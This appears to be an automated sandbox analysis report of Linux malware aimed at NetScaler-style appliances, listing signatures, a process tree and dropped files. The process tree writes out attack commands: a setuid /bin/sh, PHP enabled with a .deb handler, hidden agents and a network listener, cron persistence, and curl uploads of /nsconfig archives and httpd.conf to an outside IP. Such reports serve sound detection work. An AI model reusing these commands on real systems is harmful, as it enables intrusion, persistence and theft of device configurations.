Analysis

  • max time kernel
    21s
  • max time network
    22s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/10/2026, 11:43

General

  • Target
    2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
  • Size 24KB
  • Sample261003-nvrlysys9l
  • SHA256 2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads CPU attributes 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
    /tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
    1⤵
    • Writes file to tmp directory
    PID:1513
    • /bin/mkdir
      mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
      2⤵
        PID:1514
      • /bin/cat
        cat
        2⤵
          PID:1516
        • /bin/cat
          cat
          2⤵
            PID:1517
          • /bin/mkdir
            mkdir -p /var/tmp/.ux
            2⤵
              PID:1518
            • /bin/cat
              cat
              2⤵
                PID:1520
              • /bin/cat
                cat
                2⤵
                  PID:1523
                • /bin/cat
                  cat
                  2⤵
                    PID:1525
                  • /bin/chmod
                    chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
                    2⤵
                      PID:1526
                    • /bin/cat
                      cat
                      2⤵
                        PID:1527
                      • /bin/chmod
                        chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                        2⤵
                          PID:1528
                        • /bin/cp
                          cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
                          2⤵
                            PID:1529
                          • /bin/cp
                            cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
                            2⤵
                              PID:1530
                            • /bin/cp
                              cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
                              2⤵
                                PID:1531
                              • /bin/cp
                                cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
                                2⤵
                                  PID:1532
                                • /bin/cp
                                  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
                                  2⤵
                                    PID:1533
                                  • /bin/chmod
                                    chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
                                    2⤵
                                      PID:1534
                                    • /bin/chmod
                                      chmod 6555 /bin/sh
                                      2⤵
                                        PID:1535
                                      • /bin/chmod
                                        chmod 700 /nsconfig/.slap/boot.sh
                                        2⤵
                                          PID:1537
                                        • /usr/bin/perl
                                          perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
                                          2⤵
                                            PID:1538
                                          • /bin/grep
                                            grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
                                            2⤵
                                              PID:1539
                                            • /bin/cp
                                              cp /etc/httpd.conf /etc/httpd.conf.slap.bak
                                              2⤵
                                                PID:1540
                                              • /bin/cat
                                                cat
                                                2⤵
                                                  PID:1542
                                                • /usr/bin/perl
                                                  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
                                                  2⤵
                                                    PID:1543
                                                  • /bin/grep
                                                    grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
                                                    2⤵
                                                      PID:1544
                                                    • /bin/httpd
                                                      /bin/httpd -t -f /etc/httpd.conf
                                                      2⤵
                                                        PID:1545
                                                      • /bin/grep
                                                        grep -q "[.]slap/agent.pl"
                                                        2⤵
                                                          PID:1547
                                                        • /bin/ps
                                                          ps -axww
                                                          2⤵
                                                          • Reads CPU attributes
                                                          • Reads runtime system information
                                                          PID:1546
                                                        • /bin/grep
                                                          grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
                                                          2⤵
                                                            PID:1553
                                                          • /bin/grep
                                                            grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
                                                            2⤵
                                                              PID:1554
                                                            • /usr/bin/setsid
                                                              /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
                                                              2⤵
                                                                PID:1552
                                                              • /bin/perl
                                                                /bin/perl /nsconfig/.slap/agent.pl
                                                                2⤵
                                                                  PID:1552
                                                                • /usr/bin/crontab
                                                                  crontab -l
                                                                  2⤵
                                                                    PID:1555
                                                                  • /bin/grep
                                                                    grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
                                                                    2⤵
                                                                      PID:1556
                                                                    • /bin/grep
                                                                      grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
                                                                      2⤵
                                                                        PID:1557
                                                                      • /usr/bin/crontab
                                                                        crontab /tmp/.slap.cron
                                                                        2⤵
                                                                        • Creates/modifies Cron job
                                                                        PID:1558
                                                                      • /usr/bin/pkill
                                                                        pkill -f /var/tmp/.ux/slapshot.py
                                                                        2⤵
                                                                        • Reads CPU attributes
                                                                        • Reads runtime system information
                                                                        PID:1560
                                                                      • /usr/bin/pkill
                                                                        pkill -f /var/tmp/.ux/whipd.py
                                                                        2⤵
                                                                        • Reads CPU attributes
                                                                        • Reads runtime system information
                                                                        • System Network Configuration Discovery
                                                                        PID:1561
                                                                      • /bin/date
                                                                        date -u
                                                                        2⤵
                                                                          PID:1564
                                                                        • /usr/bin/nohup
                                                                          nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
                                                                          2⤵
                                                                            PID:1563
                                                                          • /usr/bin/nohup
                                                                            nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
                                                                            2⤵
                                                                              PID:1562
                                                                            • /usr/bin/id
                                                                              id
                                                                              2⤵
                                                                                PID:1565
                                                                              • /usr/bin/python3
                                                                                /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
                                                                                2⤵
                                                                                  PID:1563
                                                                                • /usr/bin/python3
                                                                                  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
                                                                                  2⤵
                                                                                    PID:1562
                                                                                  • /bin/uname
                                                                                    uname -a
                                                                                    2⤵
                                                                                      PID:1567
                                                                                    • /bin/ls
                                                                                      ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
                                                                                      2⤵
                                                                                        PID:1568
                                                                                      • /bin/httpd
                                                                                        /bin/httpd -t -f /etc/httpd.conf
                                                                                        2⤵
                                                                                          PID:1569
                                                                                        • /usr/bin/tail
                                                                                          tail -n 80
                                                                                          2⤵
                                                                                            PID:1571
                                                                                          • /bin/grep
                                                                                            grep -in php /etc/httpd.conf
                                                                                            2⤵
                                                                                              PID:1570
                                                                                            • /bin/sed
                                                                                              sed -n "1395,1425p" /etc/httpd.conf
                                                                                              2⤵
                                                                                                PID:1572
                                                                                              • /usr/bin/tail
                                                                                                tail -n 80 /var/log/httpd/error_log
                                                                                                2⤵
                                                                                                  PID:1573
                                                                                                • /usr/bin/tail
                                                                                                  tail -n 80 /var/log/httpd/error.log
                                                                                                  2⤵
                                                                                                    PID:1574
                                                                                                  • /usr/bin/tail
                                                                                                    tail -n 40 /var/log/ns.log
                                                                                                    2⤵
                                                                                                      PID:1575
                                                                                                    • /bin/mkdir
                                                                                                      mkdir -p /var/tmp/.s2loot
                                                                                                      2⤵
                                                                                                        PID:1576
                                                                                                      • /bin/tar
                                                                                                        tar czf /var/tmp/.s2loot/nsconfig.tgz .
                                                                                                        2⤵
                                                                                                          PID:1577
                                                                                                          • /bin/sh
                                                                                                            /bin/sh -c gzip
                                                                                                            3⤵
                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                            • System Network Configuration Discovery
                                                                                                            PID:1578
                                                                                                            • /bin/gzip
                                                                                                              gzip
                                                                                                              4⤵
                                                                                                              • System Network Configuration Discovery
                                                                                                              PID:1579
                                                                                                        • /usr/bin/curl
                                                                                                          curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/906b4f/loot_nsconfig.tgz
                                                                                                          2⤵
                                                                                                            PID:1580
                                                                                                          • /bin/tar
                                                                                                            tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
                                                                                                            2⤵
                                                                                                              PID:1581
                                                                                                              • /bin/sh
                                                                                                                /bin/sh -c gzip
                                                                                                                3⤵
                                                                                                                • Command and Scripting Interpreter: Unix Shell
                                                                                                                • System Network Configuration Discovery
                                                                                                                PID:1582
                                                                                                                • /bin/gzip
                                                                                                                  gzip
                                                                                                                  4⤵
                                                                                                                  • System Network Configuration Discovery
                                                                                                                  PID:1583
                                                                                                            • /usr/bin/curl
                                                                                                              curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/906b4f/loot_nshist.tgz
                                                                                                              2⤵
                                                                                                                PID:1584
                                                                                                              • /bin/rm
                                                                                                                rm -rf /var/tmp/.s2loot
                                                                                                                2⤵
                                                                                                                  PID:1585
                                                                                                                • /usr/bin/curl
                                                                                                                  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/906b4f/loot_httpd.conf
                                                                                                                  2⤵
                                                                                                                    PID:1586
                                                                                                                  • /usr/bin/curl
                                                                                                                    curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/906b4f/loot_diag.txt
                                                                                                                    2⤵
                                                                                                                      PID:1587

                                                                                                                  Network

                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                        Replay Monitor

                                                                                                                        Loading Replay Monitor...

                                                                                                                        Downloads

                                                                                                                        agent.pl

                                                                                                                        • Path /nsconfig/.slap/agent.pl
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        boot.sh

                                                                                                                        • Path /nsconfig/.slap/boot.sh
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        bridge.pl

                                                                                                                        • Path /nsconfig/.slap/bridge.pl
                                                                                                                        • Size 697B
                                                                                                                        • SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        rc.netscaler

                                                                                                                        • Path /nsconfig/rc.netscaler
                                                                                                                        • Size 37B
                                                                                                                        • SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        rc.netscaler

                                                                                                                        • Path /nsconfig/rc.netscaler
                                                                                                                        • Size 71B
                                                                                                                        • SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap.cron

                                                                                                                        • Path /tmp/.slap.cron
                                                                                                                        • Size 45B
                                                                                                                        • SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        .slap.cron

                                                                                                                        • Path /tmp/.slap.cron
                                                                                                                        • Size 89B
                                                                                                                        • SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap.receiver

                                                                                                                        • Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
                                                                                                                        • Size 493B
                                                                                                                        • SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        tmp.87Mxsm

                                                                                                                        • Path /var/spool/cron/crontabs/tmp.87Mxsm
                                                                                                                        • Size 278B
                                                                                                                        • SHA256 e5ab446fba83e4dac3d0270ed17e5eefd28c603de54783753c1bce2f38f9320c
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        hist.tgz

                                                                                                                        • Path /var/tmp/.s2loot/hist.tgz
                                                                                                                        • Size 45B
                                                                                                                        • SHA256 ccfe78da2a482b284bc89aeb2e839d92669f1ab21fbd09538a769811d0333fe4
                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                        nsconfig.tgz

                                                                                                                        • Path /var/tmp/.s2loot/nsconfig.tgz
                                                                                                                        • Size 2KB
                                                                                                                        • SHA256 8408bd1f518a6250296486d2ee19e8bd25cd2f10a382d424802e125241999647
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-agent.log

                                                                                                                        • Path /var/tmp/.slap-agent.log
                                                                                                                        • Size 63B
                                                                                                                        • SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-diag.txt

                                                                                                                        • Path /var/tmp/.slap-diag.txt
                                                                                                                        • Size 54B
                                                                                                                        • SHA256 31762bfa2b31bed2e919a908a49249371c72c11ac54d4ae994951740d187d600
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-diag.txt

                                                                                                                        • Path /var/tmp/.slap-diag.txt
                                                                                                                        • Size 93B
                                                                                                                        • SHA256 ba24009dea03c2b604fc61036b4f34aaaf15d7803ff9112a015a9bf4a965ba01
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-diag.txt

                                                                                                                        • Path /var/tmp/.slap-diag.txt
                                                                                                                        • Size 226B
                                                                                                                        • SHA256 125cdab8995f4c71aad2ec28f0ffdc9bcc611d5be54fa1b7aa548acf1cdc1875
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-diag.txt

                                                                                                                        • Path /var/tmp/.slap-diag.txt
                                                                                                                        • Size 250B
                                                                                                                        • SHA256 151a9be64aa09a8a53b960bf36d212f40f4cf524b43a1e7f058bad70848edce0
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-diag.txt

                                                                                                                        • Path /var/tmp/.slap-diag.txt
                                                                                                                        • Size 877B
                                                                                                                        • SHA256 fb161f0135d28e4df6f2fe08a9b7fd460c77e2786dadb664e64d32d2d8a29d38
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        .slap-httpd-test.log

                                                                                                                        • Path /var/tmp/.slap-httpd-test.log
                                                                                                                        • Size 185B
                                                                                                                        • SHA256 124dcd66bfa2793e9e36c9c652a524838d0e8c835d03bd1835048d73b8c638e9
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        agent.log

                                                                                                                        • Path /var/tmp/.ux/agent.log
                                                                                                                        • Size 56B
                                                                                                                        • SHA256 cccf66c396b3b9c2a1766a59f1588f8bcf56397e37f30380d6a65c6b6b151d15
                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                        slapshot.py

                                                                                                                        • Path /var/tmp/.ux/slapshot.py
                                                                                                                        • Size 7KB
                                                                                                                        • SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                        whipd.py

                                                                                                                        • Path /var/tmp/.ux/whipd.py
                                                                                                                        • Size 4KB
                                                                                                                        • SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH